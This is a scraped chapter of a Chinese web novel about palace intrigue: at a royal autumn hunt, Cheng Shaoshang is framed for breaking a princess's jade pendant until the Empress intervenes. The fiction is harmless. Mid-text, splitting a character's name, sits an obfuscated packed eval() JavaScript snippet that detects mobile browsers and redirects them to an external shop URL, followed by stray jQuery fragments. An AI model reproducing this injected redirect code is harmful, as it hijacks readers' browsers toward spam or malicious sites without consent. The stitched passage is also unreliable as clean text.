文趣网 > 其他小说 > 可曾盼君归 > 21. 猎帐祸起
    皇家秋猎的围场营帐连绵铺展于山野之间,一座座锦缎营帐顺着缓坡次第排开,旌旗猎猎随风舒展。漫山秋林层林染金,远处猎场方向时不时传来战马嘶鸣,少年儿郎的呼喝声遥遥飘来。

    主帐之内更是一派煊赫,锦毯铺地,熏香袅袅。宗室贵妇、各家女眷分席而坐,环佩叮当,笑语温软。程家母女三人寻到位置入席,萧元漪端身端坐,眉眼端严得体,一面应酬身旁世家夫人的寒暄,一面暗中留意身旁两个女儿的一举一动。

    程少商安安静静陪坐片刻,耳边尽是世家夫人们来回周旋的客套寒暄,句句绵里藏针,听久了只觉心神乏闷。她微微侧过头,凑近萧元漪身侧,声音压得极低:“阿母,帐内闷热,我出去透一透气。”

    萧元漪眸光扫过帐中往来的人,终究没有出言拦阻,只淡淡叮嘱:“莫要走远,早些回来。”

    “女儿晓得。”少商微微颔首,起身敛衽行礼,便轻步掀帘,走出了喧嚣的主帐。

    一旁的程少绥眼睛瞬间亮起来,身子微微一动,也想要跟着阿姊一同出去闲逛。她刚要起身,萧元漪一道凌厉的眼风直直扫过来。

    少绥蔫头耷脑落坐回蒲席之上,指尖绞着腰间的丝绦,满心委屈,小声嘟囔:“阿母,怎么就不管阿姊,偏偏拘着我。”

    萧元漪斜睨她一眼,端起手边茶盏抿了一口,语声压得沉沉:“你阿姊总比你机灵些。你便好好坐着,管好你自己,少四处惹是生非。敢在外头闯出祸事,看我回去之后怎么收拾你。”

    少绥扁了扁嘴,不敢再有出去闲逛的念头,只得老老实实蜷坐在席位上。

    主帐内人声沸沸扬扬,各家长辈你一言我一语,谈论猎场战况,品评各家子弟才貌。少绥百无聊赖,坐得浑身发僵,无处排遣烦闷,索性支起耳朵,细细听周遭长辈闲谈,悄悄辨认在座诸位夫人、郡主的样貌名号,把一张张面孔暗暗记在心底,目光时不时还会瞟向帐帘入口,盼着能看见程少商回来的身影。

    主帐另一角,王姈与楼缡并肩坐于裕昌郡主身侧。方才清清楚楚看见程少商孤身一人掀帘离开主帐,二人飞快交换一个眼色。

    王姈身子微微倾向裕昌郡主,脸上堆起笑意,柔声劝道:“郡主,帐中坐久了头也发昏。左右猎场男儿们尚且在外驰猎,一时半刻不会回转,不如我们也出去四下散散步,吹一吹山间秋风,岂不惬意?”

    裕昌郡主本就坐得有些乏味,闻言当即点头应允。几人便一同起身,徐徐步出主帐。

    这一出看似随口邀约的闲游,实则是一场筹谋已久的请君入瓮。

    王姈早便安排妥当,寻了一个往日从未在程少商跟前露过面的粗使婢女,叫她候在去往裕昌郡主营帐的必经小径旁。

    秋风穿过林间枝桠,簌簌作响。程少商沿着碎石小径缓步闲行,目光漫看漫山红叶,心绪稍稍舒展。

    忽然,身侧树丛之中传来一声短促痛呼。

    少商脚步顿住,转头望去,就见一名青布衣裙的婢女歪倒在路边青石之旁,脚踝高高肿起,裤脚隐隐渗出血迹,脸色惨白,额头上满是冷汗。那婢女看见程少商走来,眼中飞快掠过一丝不易察觉的紧张,随即面露哀色,声音虚弱地呼救:“女公子,求您行行好,我的脚不慎崴在石缝之中,痛得动弹不得。不远处便有营帐,帐内定然存着药匣,可否劳烦女公子,替我向帐内贵人求取?”

    程少商见她伤势看着着实不轻,四下环顾一圈,这条小路僻静,竟再无旁人经过。她心中虽有几分提防,可眼见婢女疼得浑身发抖,终究无法置之不理。

    “你且在此稍作等候。”

    少商沉吟片刻,应下下来。婢女如释重负,连连道谢,守在路口,眼睁睁看着程少商走向那座裕昌郡主的营帐。

    帐门半掩,外头瞧着安安静静,内里果然空无一人。帐内陈设精致华美,案几之上摆着梳妆匣子、各式珍玩摆件。

    程少商没有多做耽搁,四下粗略扫过,寻到药匣取了一帖金疮药,便快步转身走出营帐,将药膏递还给路边的婢女。那婢女接过药膏,依旧蹲坐在地,道谢几声,垂着头不敢与少商对视。

    程少商询问两句,见这婢女不再需要帮助,便转身便顺着原路,往人声喧闹的主帐方向折返。

    另一边,王姈估摸着时辰已经差不多,料想帐中圈套已然得手,便陪着裕昌郡主,带着楼缡和一众侍女,慢悠悠回转郡主营帐。

    掀开门帘,步入寝帐,地上白玉碎片赫然映入眼帘。

    那枚白玉马驹吊坠,乃是汝阳王妃耗费重金,寻当世良玉,专门请名匠雕琢,送给裕昌郡主的生辰贺礼。裕昌郡主素来珍爱万分,此番秋猎,怕外头人多手杂,再将它弄坏弄污,才特意安放在营帐之内,不曾随身佩戴。

    “是谁!是谁闯到我的帐子里,打碎了我的玉坠!”裕昌郡主瞳孔骤缩,冲上前蹲下身,心口一阵绞痛,声音陡然拔高,满是震怒。

    王姈立刻上前,脸上满是义愤填膺,假意替郡主愤愤不平:“郡主息怒!这般贵重的心爱之物,平白无故被人损毁,万万不能就此罢休,一定要彻查到底,揪出闯入帐中之人!”

    帐外守着的侍从听见帐内怒喝,不敢怠慢,消息飞快往外扩散。不多时,“有人私闯裕昌郡主营帐,打碎郡主心爱吊坠,正在彻查”的消息,便一路传到了主帐门口。

    主帐之内原本说说笑笑的一众贵妇女娘,听闻这桩祸事,纷纷神色一动,不少人起身,簇拥着便往裕昌郡主营帐这边赶来围观。

    程少商方才才刚刚踏回主帐,还未坐回原先的席位,一众人群便蜂拥而至。还不等王姈传唤方才那名伪装摔伤的婢女出来对质举证,人群之中,五公主身侧一名贴身女婢忽然跨步站出来,声音清亮,吸引了所有人的目光。

    那婢女垂首向着裕昌郡主躬身回话,神色笃定:“回郡主,方才奴婢奉五公主之命,去往附近营帐取物件,途经郡主这处营帐外头。这段时辰之内,奴婢亲眼瞧见,只有程家女公子一人,孤身掀帘进入过这座营帐,再没有第二个人出入。”

    一语落地,周遭瞬间一片哗然。

    所有人的目光,齐刷刷,全部牢牢钉在了程少商的身上。

    裕昌郡主本就满心怒火,听闻此话,当即转过身,一双眼睛怒视程少商,声色俱厉:“程少商!原来是你!我与你往日纵然有些过节,你怎敢私闯我的寝帐,打碎我大母赐给我的宝物!”

    周遭围拢过来的世家女眷,大多早听过京中闺阁流传,关于程少商性情乖戾、行事莽撞的种种流言。再看裕昌郡主素来在长辈面前温顺知礼,平日里待人谦和,众人下意识便偏向了郡主这一边。

    “原来是程家女娘。”

    “听闻她性子素来刚烈执拗,莫不是心中记恨郡主,便私下闯帐泄愤?”

    “那玉坠乃是汝阳王妃所赐,何等珍贵之物,竟就这般损毁了。”

    细碎的议论声声声入耳,或窃窃私语,或是明目张胆的惋惜指责。一道道打量、怀疑、鄙夷的视线,重重叠叠压向程少商。

    少

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926475|213544||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    绥站在萧元漪身侧,听见周遭句句都在苛责阿姊,气得胸口起伏,当即就要往前一步,开口替程少商辩驳回嘴。

    “你们不要凭空污人清白——”

    话音才起,萧元漪一道冰冷锐利的目光直直射过来。少绥浑身一僵,到了嘴边的话硬生生卡在喉咙,只能攥紧双拳,愤愤地又退回到阿母身后,满心焦急,却不敢再出声。

    萧元漪眉头紧锁,心底沉沉一沉。她看向立在人群正中,被千夫所指的长女,语声平稳,却带着一丝沉甸甸的重量,当众发问:“嫋嫋,那玉坠,可是你打碎的?”

    周遭霎时间安静下来,所有人都等着程少商认罪回话。

    程少商迎上萧元漪的目光,心底泛起一阵寒凉。四下全是对自己不利的证词,人证指向自己,物证碎落在帐内,没有旁人,没有第二个目击者,拿不出半分可以自证清白的凭据。

    她脊背挺得笔直,神色冷冽,声音不高,却字字清晰:“我是进过帐中,但只是为取药救人,未曾看见玉坠,更未曾损毁。”

    这番说辞落在众人耳中,却显得苍白无力。不少人暗自摇头,只当她是闯下祸事之后,找出来的搪塞借口。

    汝阳王妃也闻讯赶来,一身华服,面色沉沉,拨开人群走上前来。

    “好了好了,裕昌莫要生气。”汝阳王妃抬手虚虚按了按,目光落到程少商身上,眉眼间满是轻鄙,“只是可惜了那一块美玉。闺阁女娘,行事本该谨守分寸,怎能擅闯旁人寝帐,行事这般冒失无状。”

    言语之间,已然先定了程少商行事失仪的过错。

    情势步步紧逼,少商手中无证据,旁人皆先入为主认定是她存心作恶,眼看百口莫辩,局面就要往无可挽回的方向滑落。

    就在此时,一道温和沉静的女声缓缓响起,自人群后方传过来。

    “汝阳王妃此言差矣。”

    皇后缓步走上前来,凤纹衣袍端庄雍容,神色平和公正。

    “既然没有人亲眼看见程家女娘失手打碎玉坠,便也没有证据可以证明,此事与她有关。仅凭一名侍从的言辞指证,便定一个姑娘家的过错,未免太过草率。”

    话音落下,人群又是一阵骚动。

    越妃跟在皇后身侧,唇角噙着一抹淡淡的冷笑,紧接着开口,语调带着几分锐利的冷嘲:“既是郡主心心念念的宝物,就这么随随便便放在无人看守的帐中。如此这般,也算得上是挚爱?”

    越妃一席话,噎得裕昌郡主脸色一阵红一阵白,一时竟答不上话。

    皇后轻轻抬手,压下周遭此起彼伏的议论,从容拍板定夺:“今日皇家秋猎,本是取乐助兴。何必为了一件玉器,闹得阖场之人都败了兴致。此事便暂且作罢,裕昌,回头我命尚衣局的巧匠,寻同等美玉,再为你重新打造一枚一模一样玉坠,你也不必太过挂怀。”

    皇后已然发话,在场众人便也不敢再继续揪着此事穷追猛打。

    众人的议论声渐渐平息,可裕昌郡主望着手中碎玉,一双眼睛恨恨盯住程少商,心底的怨愤半分也未曾消解。

    王姈立在人群边角,垂在身侧的手指悄悄攥紧,眼底掠过一丝得逞的快意。这一局,纵然没能当众治罪程少商,可已经叫裕昌郡主将程少商视作眼中钉,往后京中闺阁,程少商又多了一重无形的危机。

    萧元漪望着站在风波中心,一身孤冷的长女,又看向身旁强压怒气的少绥,眼底满是隐忧。山野秋风卷动营帐帘幕哗哗作响,秋猎盛宴的欢闹之下,暗流已然汹涌翻腾。